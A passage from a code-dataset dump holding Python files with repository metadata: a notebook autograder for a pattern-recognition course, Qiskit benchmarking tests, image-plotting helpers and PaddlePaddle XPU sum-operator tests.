zip(stud_val, sol_val):\n                check_var(v1, v2, var_name_style)\n            return\n        elif all([isinstance(val, numbers.Number) for val in stud_val]):\n            # The list contains only numbers --> unify to numpy arrays\n            stud_val = np.asarray(stud_val)\n            sol_val = np.asarray(sol_val)\n        else:\n            assert stud_val == sol_val, 'The content of the list %s does not match with the solution\\nGot: %s\\nExpected: %s' % (var_name_style, stud_val, sol_val)\n            return\n\n    if isinstance(stud_val, np.ndarray):\n        stud_val = unify_vector(stud_val)\n        sol_val = unify_vector(sol_val)\n\n        if stud_val.dtype != sol_val.dtype:\n            print_warning('The type of your array %s has the type %s but the type %s is expected. Even though it is possible that the other checks still work, it can also lead to errors.' % (var_name_style, stud_val.dtype, sol_val.dtype))\n\n        assert stud_val.shape == sol_val.shape, 'Your array %s does not have the correct dimensions\\nGot: %s\\nExpected: %s' % (var_name_style, stud_val.shape, sol_val.shape)\n\n    if isinstance(stud_val, np.ndarray) or isinstance(stud_val, (np.floating, float)):\n        assert np.allclose(stud_val, sol_val, rtol=1e-04, atol=1e-05), 'The content of the array %s does not match with the solution (tolerance considered)\\nGot: %s\\nExpected: %s' % (var_name_style, stud_val, sol_val)\n    else:\n        assert stud_val == sol_val, 'The variable %s is not set to the correct value\\nGot: %s\\nExpected: %s' % (var_name_style, stud_val, sol_val)\n\n\ndef check_vars(stud_vars, sol_vars):\n    def function_name(function):\n        # Returns the name of a function object\n        match = re.search(r'function\\s+([^\\s]+)\\s+at', str(function))\n        if match:\n            return match.group(1)\n        else:\n            return ''\n\n    # Compare all variables\n    error_messages = []\n    for var_name in sol_vars.keys():\n        if var_name == 'sol_vars_code':\n            continue\n\n        try:\n            var_name_style = colorama.Style.NORMAL + var_name + colorama.Style.BRIGHT\n            assert var_name in stud_vars, 'You do not have a variable with the name %s in your script.' % var_name_style\n\n            stud_val = stud_vars[var_name]\n            sol_val = sol_vars[var_name]\n\n            if isinstance(stud_val, types.FunctionType):\n                # For functions, compare only the names\n                stud_val = function_name(stud_val)\n\n            check_var(stud_val, sol_val, var_name_style)\n        except AssertionError as failure:\n            error_messages.append(colorama.Fore.RED + colorama.Style.BRIGHT + str(failure) + colorama.Style.RESET_ALL)\n            continue\n\n    # Compare all code snippets\n    if 'sol_vars_code' in sol_vars:\n        for var_code in sol_vars['sol_vars_code']:\n            try:\n                var_name_style = colorama.Style.NORMAL + var_code['name'] + colorama.Style.BRIGHT\n\n                stud_val = eval(var_code['code'], stud_vars)    # Runs the code in the student's environment\n                sol_val = var_code['result']\n\n                check_var(stud_val, sol_val, var_name_style)\n            except AssertionError as failure:\n                error_messages.append(colorama.Fore.RED + colorama.Style.BRIGHT + str(failure) + '\\nDescription: ' + var_code['description'] + '\\nNote: This is a generated variable.' + colorama.Style.RESET_ALL)\n                continue\n\n    return error_messages\n\n\ndef check_notebook(filename, all_sol_vars):\n    \"\"\"\n    Compares the variables of a Jupyter notebook to a reference solution.\n\n    :param filename: of the notebook to check.\n    :param all_sol_vars: dict which contains the reference solutions.\n    :return: True when all checks were successful or no checks could be performed.\n    \"\"\"\n    print('Testing notebook ' + filename)\n\n    # Find all solutions for the current notebook (usually more than one for TensorFlow code)\n    solutions = sorted([solution for solution in all_sol_vars.keys() if solution.startswith(filename)])\n\n    if not solutions:\n        print('No matching solution for the file %s found. The notebook is skipped.\\n' % filename)\n        return True\n\n    # Load the notebook file\n    with open(filename) as file:\n        nb = nbformat.read(file, as_version=4)\n\n    # Keep only the code cells (and especially remove the raw cells)\n    nb.cells[:] = [cell for cell in nb.cells if cell.cell_type == 'code']\n\n    # Convert the notebook to a Python script\n    exporter = PythonExporter()\n    source, meta = exporter.from_notebook_node(nb)\n    source = re.sub('(.*?)get_ipython', r'#\\1get_ipython', source)  # Comment out code lines which are only available in ipython\n\n    # Run the student's solution\n    stud_vars = {}\n    with open(os.devnull, \"w\") as stream, contextlib.redirect_stdout(stream):\n        # print commands are prevented (warnings will still be shown)\n        exec(source, stud_vars)\n\n    # Test each solution\n    messages = {}\n    correct_solution = ''\n    for solution in solutions:\n        messages[solution] = check_vars(stud_vars, all_sol_vars[solution])\n\n        if not messages[solution]:\n            correct_solution = solution\n\n            # The first check was already successful; no need to check other possible solutions\n            break\n\n    if correct_solution:\n        print(f'{colorama.Fore.GREEN}The test for the notebook %s was successful (checked against %s). No errors found.{colorama.Style.RESET_ALL}\\n' % (filename, correct_solution))\n        return True\n    else:\n        # All solutions are incorrect. Show the errors for the first solution (arbitrary)\n        print('The test for the notebook %s was not successful. At least one variable does not contain the expected result (errors compared to the solution %s are shown).' % (filename, solutions[0]))\n\n        for message in messages[solutions[0]]:\n            print(message)\n\n        return False\n\n\ndef version_info():\n    packages = ['numpy', 'scikit-learn', 'tensorflow']\n    versions = {}\n    for package in packages:\n        versions[package] = pkg_resources.get_distribution(package).version\n\n    versions['python'] = platform.python_version()\n\n    return versions\n\n\ndef check_folder():\n    folder_name = os.path.basename(os.getcwd())\n    print('Testing all notebooks in the folder ' + folder_name)\n\n    solution_filename = 'solution_vars.pickle'\n    if not os.path.exists(solution_filename):\n        print('No pickle file containing the solution data found. The folder %s is skipped.' % folder_name)\n        return\n\n    # Load the official solution data\n    all_sol_vars = pickle.load(open(solution_filename, 'rb'))\n\n    # First, check whether the same packages were used\n    for package, version in version_info().items():\n        if version != all_sol_vars['versions'][package]:\n            print_warning('You are using %s in version %s but the solution variables were created with version %s. Results may differ.' % (package, version, all_sol_vars['versions'][package]))\n\n    # All notebooks in the current folder\n    notebook_filenames = glob.glob('*.ipynb')\n\n    # Test each notebook where a corresponding solution is available\n    checks = []\n    for filename in notebook_filenames:\n        successful = check_notebook(filename, all_sol_vars)\n        checks.append(successful)\n\n    # Find all available solution names\n    solutions = set()\n    for sol in all_sol_vars.keys():\n        match = re.search(r'^[^.]+\\.ipynb', sol)\n        if match:\n            solutions.add(match.group(0))\n\n    # Check if the students provided a notebook for each solution\n    all_sols_checked = True\n    for sol in solutions:\n        if sol not in notebook_filenames:\n            print_warning(f'A notebook with the name {colorama.Style.NORMAL}%s{colorama.Style.BRIGHT} could not be found in the folder %s but is part of this assignment. You have either not finished your implementation yet or you used the wrong name for your notebook.' % (sol, folder_name))\n            all_sols_checked = False\n\n    if all(checks) and all_sols_checked:\n        print(f'{colorama.Fore.GREEN}Congratulations! The checked notebooks in the folder %s match with the reference implementation.{colorama.Style.RESET_ALL}\\n' % folder_name)\n\n\ncolorama.init()\nparser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n                                 description='This script tests all notebooks in one or more folders. Requirement is that the respective folder contains a file with the name solution_vars.pickle which contains the solution variables of the notebooks.')\nparser.add_argument('folders', type=str, nargs='*', default='.', help='Folders to check (each with its own solution file). If no folder name is given, the current folder is used.')\n__version__ = '0.7.3'\nparser.add_argument('--version', action='version', version='%(prog)s ' + __version__)\n\nargs = parser.parse_args()\nprint(os.path.basename(__file__) + ' ' + __version__)\n\n# Check all notebooks in the given folder name(s)\nfor folder in args.folders:\n    prev_cwd = os.getcwd()\n    os.chdir(folder)  # Notebooks should be executed in their corresponding folder\n\n    check_folder()\n\n    os.chdir(prev_cwd)\n", "meta": {"hexsha": "2a438b9afa5604bba40e4e1a42800dc3597fe714", "size": 10571, "ext": "py", "lang": "Python", "max_stars_repo_path": "PR/Assignment11/test_notebooks.py", "max_stars_repo_name": "jhinga-la-la/pattern-recognition-course", "max_stars_repo_head_hexsha": "7ad4f70b2c427f3c37f59f47768b90371873823c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "PR/Assignment11/test_notebooks.py", "max_issues_repo_name": "jhinga-la-la/pattern-recognition-course", "max_issues_repo_head_hexsha": "7ad4f70b2c427f3c37f59f47768b90371873823c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PR/Assignment11/test_notebooks.py", "max_forks_repo_name": "jhinga-la-la/pattern-recognition-course", "max_forks_repo_head_hexsha": "7ad4f70b2c427f3c37f59f47768b90371873823c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.1155378486, "max_line_length": 291, "alphanum_fraction": 0.678554536, "include": true, "reason": "import numpy", "num_tokens": 2391, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3738758227716966, "lm_q2_score": 0.14608724704829565, "lm_q1q2_score": 0.054618489686633645}}
{"text": "# This code is part of Qiskit.\n#\n# (C) Copyright IBM 2021.\n#\n# This code is licensed under the Apache License, Version 2.0. You may\n# obtain a copy of this license in the LICENSE.txt file in the root directory\n# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.\n#\n# Any modifications or derivative works of this code must retain this\n# copyright notice, and modified files need to carry a notice indicating\n# that they have been altered from the originals.\n\n\"\"\"\nA Tester for the RB utils module\n\"\"\"\n\nimport numpy as np\nfrom ddt import ddt, data, unpack\nfrom qiskit.test import QiskitTestCase\nfrom qiskit import QuantumCircuit\nfrom qiskit.circuit.library import (\n    IGate,\n    XGate,\n    YGate,\n    ZGate,\n    HGate,\n    SGate,\n    SdgGate,\n    CXGate,\n    CZGate,\n    SwapGate,\n)\nimport qiskit_experiments.library.randomized_benchmarking as rb\n\n\n@ddt\nclass TestRBUtilities(QiskitTestCase):\n    \"\"\"\n    A test class for additional functionality provided by the StandardRB\n    class.\n    \"\"\"\n\n    instructions = {\n        \"i\": IGate(),\n        \"x\": XGate(),\n        \"y\": YGate(),\n        \"z\": ZGate(),\n        \"h\": HGate(),\n        \"s\": SGate(),\n        \"sdg\": SdgGate(),\n        \"cx\": CXGate(),\n        \"cz\": CZGate(),\n        \"swap\": SwapGate(),\n    }\n    seed = 42\n\n    @data(\n        [1, {((0,), \"x\"): 3, ((0,), \"y\"): 2, ((0,), \"h\"): 1}],\n        [5, {((1,), \"x\"): 3, ((4,), \"y\"): 2, ((1,), \"h\"): 1, ((1, 4), \"cx\"): 7}],\n    )\n    @unpack\n    def test_count_ops(self, num_qubits, expected_counts):\n        \"\"\"Testing the count_ops utility function\n        this function receives a circuit and counts the number of gates\n        in it, counting gates for different qubits separately\"\"\"\n        circuit = QuantumCircuit(num_qubits)\n        gates_to_add = []\n        for gate, count in expected_counts.items():\n            gates_to_add += [gate for _ in range(count)]\n        rng = np.random.default_rng(self.seed)\n        rng.shuffle(gates_to_add)\n        for qubits, gate in gates_to_add:\n            circuit.append(self.instructions[gate], qubits)\n        counts = rb.RBUtils.count_ops(circuit)\n        self.assertDictEqual(expected_counts, counts)\n\n    def test_calculate_1q_epg(self):\n        \"\"\"Testing the calculation of 1 qubit error per gate\n        The EPG is computed based on the error per clifford determined\n        in the RB experiment, the gate counts, and an estimate about the\n        relations between the errors of different gate types\n        \"\"\"\n        epc_1_qubit = 0.0037\n        qubits = [0]\n        gate_error_ratio = {((0,), \"id\"): 1, ((0,), \"rz\"): 0, ((0,), \"sx\"): 1, ((0,), \"x\"): 1}\n        gates_per_clifford = {((0,), \"rz\"): 10.5, ((0,), \"sx\"): 8.15, ((0,), \"x\"): 0.25}\n        epg = rb.RBUtils.calculate_1q_epg(epc_1_qubit, qubits, gate_error_ratio, gates_per_clifford)\n        error_dict = {\n            ((0,), \"rz\"): 0,\n            ((0,), \"sx\"): 0.0004432101747785104,\n            ((0,), \"x\"): 0.0004432101747785104,\n        }\n\n        for gate in [\"x\", \"sx\", \"rz\"]:\n            expected_epg = error_dict[((0,), gate)]\n            actual_epg = epg[0][gate]\n            self.assertTrue(np.allclose(expected_epg, actual_epg, atol=0.001))\n\n    def test_calculate_2q_epg(self):\n        \"\"\"Testing the calculation of 2 qubit error per gate\n        The EPG is computed based on the error per clifford determined\n        in the RB experiment, the gate counts, and an estimate about the\n        relations between the errors of different gate types\n        \"\"\"\n        epc_2_qubit = 0.034184849962675984\n        qubits = [1, 4]\n        gate_error_ratio = {\n            ((1,), \"id\"): 1,\n            ((4,), \"id\"): 1,\n            ((1,), \"rz\"): 0,\n            ((4,), \"rz\"): 0,\n            ((1,), \"sx\"): 1,\n            ((4,), \"sx\"): 1,\n            ((1,), \"x\"): 1,\n            ((4,), \"x\"): 1,\n            ((4, 1), \"cx\"): 1,\n            ((1, 4), \"cx\"): 1,\n        }\n        gates_per_clifford = {\n            ((1, 4), \"barrier\"): 1.032967032967033,\n            ((1,), \"rz\"): 15.932967032967033,\n            ((1,), \"sx\"): 12.382417582417583,\n            ((4,), \"rz\"): 18.681946624803768,\n            ((4,), \"sx\"): 14.522605965463109,\n            ((1, 4), \"cx\"): 1.0246506515936569,\n            ((4, 1), \"cx\"): 0.5212064090480678,\n            ((4,), \"x\"): 0.24237661112857592,\n            ((1,), \"measure\"): 0.01098901098901099,\n            ((4,), \"measure\"): 0.01098901098901099,\n            ((1,), \"x\"): 0.2525918944392083,\n        }\n        epg_1_qubit = {\n            1: {\"rz\": 0.0, \"sx\": 0.00036207066403884814, \"x\": 0.00036207066403884814},\n            4: {\"rz\": 0.0, \"sx\": 0.0005429962529239195, \"x\": 0.0005429962529239195},\n        }\n        epg = rb.RBUtils.calculate_2q_epg(\n            epc_2_qubit, qubits, gate_error_ratio, gates_per_clifford, epg_1_qubit\n        )\n        error_dict = {\n            ((1, 4), \"cx\"): 0.012438847900902494,\n        }\n\n        expected_epg = error_dict[((1, 4), \"cx\")]\n        actual_epg = epg[(1, 4)][\"cx\"]\n        self.assertTrue(np.allclose(expected_epg, actual_epg, atol=0.001))\n\n    def test_coherence_limit(self):\n        \"\"\"Test coherence_limit.\"\"\"\n        t1 = 100.0\n        t2 = 100.0\n        gate_2_qubits = 0.5\n        gate_1_qubit = 0.1\n        twoq_coherence_err = rb.RBUtils.coherence_limit(2, [t1, t1], [t2, t2], gate_2_qubits)\n\n        oneq_coherence_err = rb.RBUtils.coherence_limit(1, [t1], [t2], gate_1_qubit)\n\n        self.assertAlmostEqual(oneq_coherence_err, 0.00049975, 6, \"Error: 1Q Coherence Limit\")\n\n        self.assertAlmostEqual(twoq_coherence_err, 0.00597, 5, \"Error: 2Q Coherence Limit\")\n", "meta": {"hexsha": "59c44e414aa4f7883f6f38f457618f6132305aef", "size": 5599, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/randomized_benchmarking/test_rb_utils.py", "max_stars_repo_name": "ShellyGarion/qiskit-experiments", "max_stars_repo_head_hexsha": "e58eb8ce201f0d8ed6b44aad560d8822fa53564a", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test/randomized_benchmarking/test_rb_utils.py", "max_issues_repo_name": "ShellyGarion/qiskit-experiments", "max_issues_repo_head_hexsha": "e58eb8ce201f0d8ed6b44aad560d8822fa53564a", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-07-21T19:53:15.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-21T19:53:15.000Z", "max_forks_repo_path": "test/randomized_benchmarking/test_rb_utils.py", "max_forks_repo_name": "ShellyGarion/qiskit-experiments", "max_forks_repo_head_hexsha": "e58eb8ce201f0d8ed6b44aad560d8822fa53564a", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.99375, "max_line_length": 100, "alphanum_fraction": 0.5611716378, "include": true, "reason": "import numpy", "num_tokens": 1706, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38861804086755836, "lm_q2_score": 0.14033624949008322, "lm_q1q2_score": 0.054537198339537026}}
{"text": "\"\"\"\r\nHelper functions for when working with any image data\r\n\r\nArthur McCray\r\namccray@anl.gov\r\n\"\"\"\r\n\r\nimport os\r\n\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport skimage\r\nfrom ipywidgets import interact\r\nfrom scipy import ndimage as ndi\r\nfrom scipy.signal import tukey\r\nfrom scipy.spatial.transform import Rotation as R\r\n\r\n\r\n###\r\n### Functions for displaying images\r\n###\r\n\r\n\r\ndef show_im(\r\n    image,\r\n    title=None,\r\n    simple=False,\r\n    origin=\"upper\",\r\n    cbar=True,\r\n    cbar_title=\"\",\r\n    scale=None,\r\n    save=None,\r\n    **kwargs,\r\n):\r\n    \"\"\"Display an image on a new axis.\r\n\r\n    Takes a 2D array and displays the image in grayscale with optional title on\r\n    a new axis. In general it's nice to have things on their own axes, but if\r\n    too many are open it's a good idea to close with plt.close('all').\r\n\r\n    Args:\r\n        image (2D array): Image to be displayed.\r\n        title (str): (`optional`) Title of plot.\r\n        simple (bool): (`optional`) Default output or additional labels.\r\n\r\n            - True, will just show image.\r\n            - False, (default) will show a colorbar with axes labels, and will adjust the\r\n              contrast range for images with a very small range of values (<1e-12).\r\n\r\n        origin (str): (`optional`) Control image orientation.\r\n\r\n            - 'upper': (default) (0,0) in upper left corner, y-axis goes down.\r\n            - 'lower': (0,0) in lower left corner, y-axis goes up.\r\n\r\n        cbar (bool): (`optional`) Choose to display the colorbar or not. Only matters when\r\n            simple = False.\r\n        cbar_title (str): (`optional`) Title attached to the colorbar (indicating the\r\n            units or significance of the values).\r\n        scale (float): Scale of image in nm/pixel. Axis markers will be given in\r\n            units of nanometers.\r\n\r\n    Returns:\r\n        None\r\n    \"\"\"\r\n    _fig, ax = plt.subplots()\r\n    image = np.array(image)\r\n    if \"cmap\" not in kwargs:\r\n        kwargs[\"cmap\"] = \"gray\"\r\n    if image.dtype == \"bool\":\r\n        image = image.astype(\"int\")\r\n    if not simple and np.max(image) - np.min(image) < 1e-12:\r\n        # adjust coontrast range\r\n        vmin = np.min(image) - 1e-12\r\n        vmax = np.max(image) + 1e-12\r\n        im = ax.matshow(image, origin=origin, vmin=vmin, vmax=vmax, **kwargs)\r\n    else:\r\n        im = ax.matshow(image, origin=origin, **kwargs)\r\n\r\n    if title is not None:\r\n        ax.set_title(str(title), pad=0)\r\n\r\n    if simple:\r\n        plt.axis(\"off\")\r\n    else:\r\n        plt.tick_params(axis=\"x\", top=False)\r\n        ax.xaxis.tick_bottom()\r\n        ax.tick_params(direction=\"in\")\r\n        if scale is None:\r\n            ticks_label = \"pixels\"\r\n        else:\r\n\r\n            def mjrFormatter(x):\r\n                return f\"{scale*x:.3g}\"\r\n\r\n            fov = scale * max(image.shape[0], image.shape[1])\r\n\r\n            if fov < 4e3:  # if fov < 4um use nm scale\r\n                ticks_label = \" nm \"\r\n            elif fov > 4e6:  # if fov > 4mm use m scale\r\n                ticks_label = \"  m  \"\r\n                scale /= 1e9\r\n            else:  # if fov between the two, use um\r\n                ticks_label = r\" $\\mu$m \"\r\n                scale /= 1e3\r\n\r\n            ax.yaxis.set_major_formatter(mpl.ticker.FuncFormatter(mjrFormatter))\r\n            ax.xaxis.set_major_formatter(mpl.ticker.FuncFormatter(mjrFormatter))\r\n\r\n        if origin == \"lower\":\r\n            ax.text(y=0, x=0, s=ticks_label, rotation=-45, va=\"top\", ha=\"right\")\r\n        elif origin == \"upper\":  # keep label in lower left corner\r\n            ax.text(\r\n                y=image.shape[0], x=0, s=ticks_label, rotation=-45, va=\"top\", ha=\"right\"\r\n            )\r\n\r\n        if cbar:\r\n            plt.colorbar(im, ax=ax, pad=0.02, format=\"%.2g\", label=str(cbar_title))\r\n\r\n    if save:\r\n        print(\"saving: \", save)\r\n        plt.savefig(save, dpi=400, bbox_inches=\"tight\")\r\n\r\n    plt.show()\r\n    return\r\n\r\n\r\ndef show_im_points(im=None, points=None, points2=None, size=None, title=None, **kwargs):\r\n    \"\"\"\r\n    points an array [[y1,x1], [y2,x2], ...]\r\n    \"\"\"\r\n    _fig, ax = plt.subplots()\r\n    if im is not None:\r\n        ax.matshow(im, cmap=\"gray\", **kwargs)\r\n    if points is not None:\r\n        points = np.array(points)\r\n        ax.plot(\r\n            points[:, 1],\r\n            points[:, 0],\r\n            c=\"r\",\r\n            alpha=0.9,\r\n            ms=size,\r\n            marker=\"o\",\r\n            fillstyle=\"none\",\r\n            linestyle=\"none\",\r\n        )\r\n    if points2 is not None:\r\n        points2 = np.array(points2)\r\n        ax.plot(\r\n            points2[:, 1],\r\n            points2[:, 0],\r\n            c=\"b\",\r\n            alpha=0.9,\r\n            ms=size,\r\n            marker=\"o\",\r\n            fillstyle=\"none\",\r\n            linestyle=\"none\",\r\n        )\r\n    ax.set_aspect(1)\r\n    if title is not None:\r\n        ax.set_title(str(title), pad=0)\r\n    plt.show()\r\n", "meta": {"hexsha": "72f92ff18c70d348e1986c8157d3871cb284618d", "size": 4903, "ext": "py", "lang": "Python", "max_stars_repo_path": "image_helpers.py", "max_stars_repo_name": "Art-MC/SKX_NN", "max_stars_repo_head_hexsha": "02d5089ea9c4b3ca7c1878e1d9a5811f5da9f6bd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "image_helpers.py", "max_issues_repo_name": "Art-MC/SKX_NN", "max_issues_repo_head_hexsha": "02d5089ea9c4b3ca7c1878e1d9a5811f5da9f6bd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "image_helpers.py", "max_forks_repo_name": "Art-MC/SKX_NN", "max_forks_repo_head_hexsha": "02d5089ea9c4b3ca7c1878e1d9a5811f5da9f6bd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.0797546012, "max_line_length": 91, "alphanum_fraction": 0.5398735468, "include": true, "reason": "import numpy,from scipy", "num_tokens": 1208, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.11436852920044106, "lm_q1q2_score": 0.05450571373901204}}
{"text": "#   Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\nimport sys\nsys.path.append(\"..\")\nimport unittest\nimport numpy as np\nfrom op_test_xpu import XPUOpTest\nimport paddle\nfrom paddle import enable_static\nimport paddle.fluid as fluid\nimport paddle.fluid.core as core\nfrom paddle.fluid.op import Operator\nfrom paddle.fluid.tests.unittests.op_test import (\n    OpTest, convert_float_to_uint16, convert_uint16_to_float)\nfrom paddle import _C_ops\n\npaddle.enable_static()\n\n\nclass TestSumOp(XPUOpTest):\n    def setUp(self):\n        self.op_type = \"sum\"\n        self.init_kernel_type()\n        self.init_kernel_type()\n        x0 = np.random.random((3, 40)).astype(self.dtype)\n        x1 = np.random.random((3, 40)).astype(self.dtype)\n        x2 = np.random.random((3, 40)).astype(self.dtype)\n        self.inputs = {\"X\": [(\"x0\", x0), (\"x1\", x1), (\"x2\", x2)]}\n        y = x0 + x1 + x2\n        self.outputs = {'Out': y}\n\n    def init_kernel_type(self):\n        self.dtype = np.float32\n\n    def test_check_output(self):\n        self.check_output()\n\n    def test_check_grad(self):\n        self.check_grad(['x0'], 'Out')\n\n\n#----------- test fp16 -----------\nclass TestFP16SumOp(TestSumOp):\n    def init_kernel_type(self):\n        self.dtype = np.float16\n\n    def test_check_output(self):\n        place = core.XPUPlace(0)\n        # if core.is_float16_supported(place):\n        self.check_output_with_place(place, atol=2e-2)\n\n    # FIXME: Because of the precision fp16, max_relative_error\n    # should be 0.15 here.\n    def test_check_grad(self):\n        place = core.XPUPlace(0)\n        # if core.is_float16_supported(place):\n        self.check_grad_with_place(\n            place, ['x0'], 'Out', max_relative_error=0.15)\n\n\ndef create_test_sum_fp16_class(parent):\n    class TestSumFp16Case(parent):\n        def init_kernel_type(self):\n            self.dtype = np.float16\n\n        def test_w_is_selected_rows(self):\n            place = core.XPUPlace(0)\n            # if core.is_float16_supported(place):\n            for inplace in [True, False]:\n                self.check_with_place(place, inplace)\n\n    cls_name = \"{0}_{1}\".format(parent.__name__, \"SumFp16Test\")\n    TestSumFp16Case.__name__ = cls_name\n    globals()[cls_name] = TestSumFp16Case\n\n\nclass API_Test_Add_n(unittest.TestCase):\n    def test_api(self):\n        with fluid.program_guard(fluid.Program(), fluid.Program()):\n            input0 = fluid.layers.fill_constant(\n                shape=[2, 3], dtype='int64', value=5)\n            input1 = fluid.layers.fill_constant(\n                shape=[2, 3], dtype='int64', value=3)\n            expected_result = np.empty((2, 3))\n            expected_result.fill(8)\n            sum_value = paddle.add_n([input0, input1])\n            exe = fluid.Executor(fluid.XPUPlace(0))\n            result = exe.run(fetch_list=[sum_value])\n\n            self.assertEqual((result == expected_result).all(), True)\n\n        with fluid.dygraph.guard():\n            input0 = paddle.ones(shape=[2, 3], dtype='float32')\n            expected_result = np.empty((2, 3))\n            expected_result.fill(2)\n            sum_value = paddle.add_n([input0, input0])\n\n            self.assertEqual((sum_value.numpy() == expected_result).all(), True)\n\n\nclass TestRaiseSumError(unittest.TestCase):\n    def test_errors(self):\n        def test_type():\n            fluid.layers.sum([11, 22])\n\n        self.assertRaises(TypeError, test_type)\n\n        def test_dtype():\n            data1 = fluid.data(name=\"input1\", shape=[10], dtype=\"int8\")\n            data2 = fluid.data(name=\"input2\", shape=[10], dtype=\"int8\")\n            fluid.layers.sum([data1, data2])\n\n        self.assertRaises(TypeError, test_dtype)\n\n        def test_dtype1():\n            data1 = fluid.data(name=\"input1\", shape=[10], dtype=\"int8\")\n            fluid.layers.sum(data1)\n\n        self.assertRaises(TypeError, test_dtype1)\n\n\nclass TestRaiseSumsError(unittest.TestCase):\n    def test_errors(self):\n        def test_type():\n            fluid.layers.sums([11, 22])\n\n        self.assertRaises(TypeError, test_type)\n\n        def test_dtype():\n            data1 = fluid.data(name=\"input1\", shape=[10], dtype=\"int8\")\n            data2 = fluid.data(name=\"input2\", shape=[10], dtype=\"int8\")\n            fluid.layers.sums([data1, data2])\n\n        self.assertRaises(TypeError, test_dtype)\n\n        def test_dtype1():\n            data1 = fluid.data(name=\"input1\", shape=[10], dtype=\"int8\")\n            fluid.layers.sums(data1)\n\n        self.assertRaises(TypeError, test_dtype1)\n\n        def test_out_type():\n            data1 = fluid.data(name=\"input1\", shape=[10], dtype=\"flaot32\")\n            data2 = fluid.data(name=\"input2\", shape=[10], dtype=\"float32\")\n            fluid.layers.sums([data1, data2], out=[10])\n\n        self.assertRaises(TypeError, test_out_type)\n\n        def test_out_dtype():\n            data1 = fluid.data(name=\"input1\", shape=[10], dtype=\"flaot32\")\n            data2 = fluid.data(name=\"input2\", shape=[10], dtype=\"float32\")\n            out = fluid.data(name=\"out\", shape=[10], dtype=\"int8\")\n            fluid.layers.sums([data1, data2], out=out)\n\n        self.assertRaises(TypeError, test_out_dtype)\n\n\nclass TestSumOpError(unittest.TestCase):\n    def test_errors(self):\n        def test_empty_list_input():\n            with fluid.dygraph.guard():\n                fluid._C_ops.sum([])\n\n        def test_list_of_none_input():\n            with fluid.dygraph.guard():\n                fluid._C_ops.sum([None])\n\n        self.assertRaises(Exception, test_empty_list_input)\n        self.assertRaises(Exception, test_list_of_none_input)\n\n\nif __name__ == \"__main__\":\n    enable_static()\n    unittest.main()\n", "meta": {"hexsha": "8ab556efd424171844c41c74446514a43f91e44f", "size": 6227, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_sum_op_xpu.py", "max_stars_repo_name": "zmxdream/Paddle", "max_stars_repo_head_hexsha": "04f042a5d507ad98f7f2cfc3cbc44b06d7a7f45c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2016-08-15T07:02:27.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-24T09:34:00.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_sum_op_xpu.py", "max_issues_repo_name": "zmxdream/Paddle", "max_issues_repo_head_hexsha": "04f042a5d507ad98f7f2cfc3cbc44b06d7a7f45c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-01T06:28:16.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-01T06:28:16.000Z", "max_forks_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_sum_op_xpu.py", "max_forks_repo_name": "zmxdream/Paddle", "max_forks_repo_head_hexsha": "04f042a5d507ad98f7f2cfc3cbc44b06d7a7f45c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-03-10T08:05:40.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-11T14:30:14.000Z", "avg_line_length": 33.1223404255, "max_line_length": 80, "alphanum_fraction": 0.6319254858, "include": true, "reason": "import numpy", "num_tokens": 1479, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 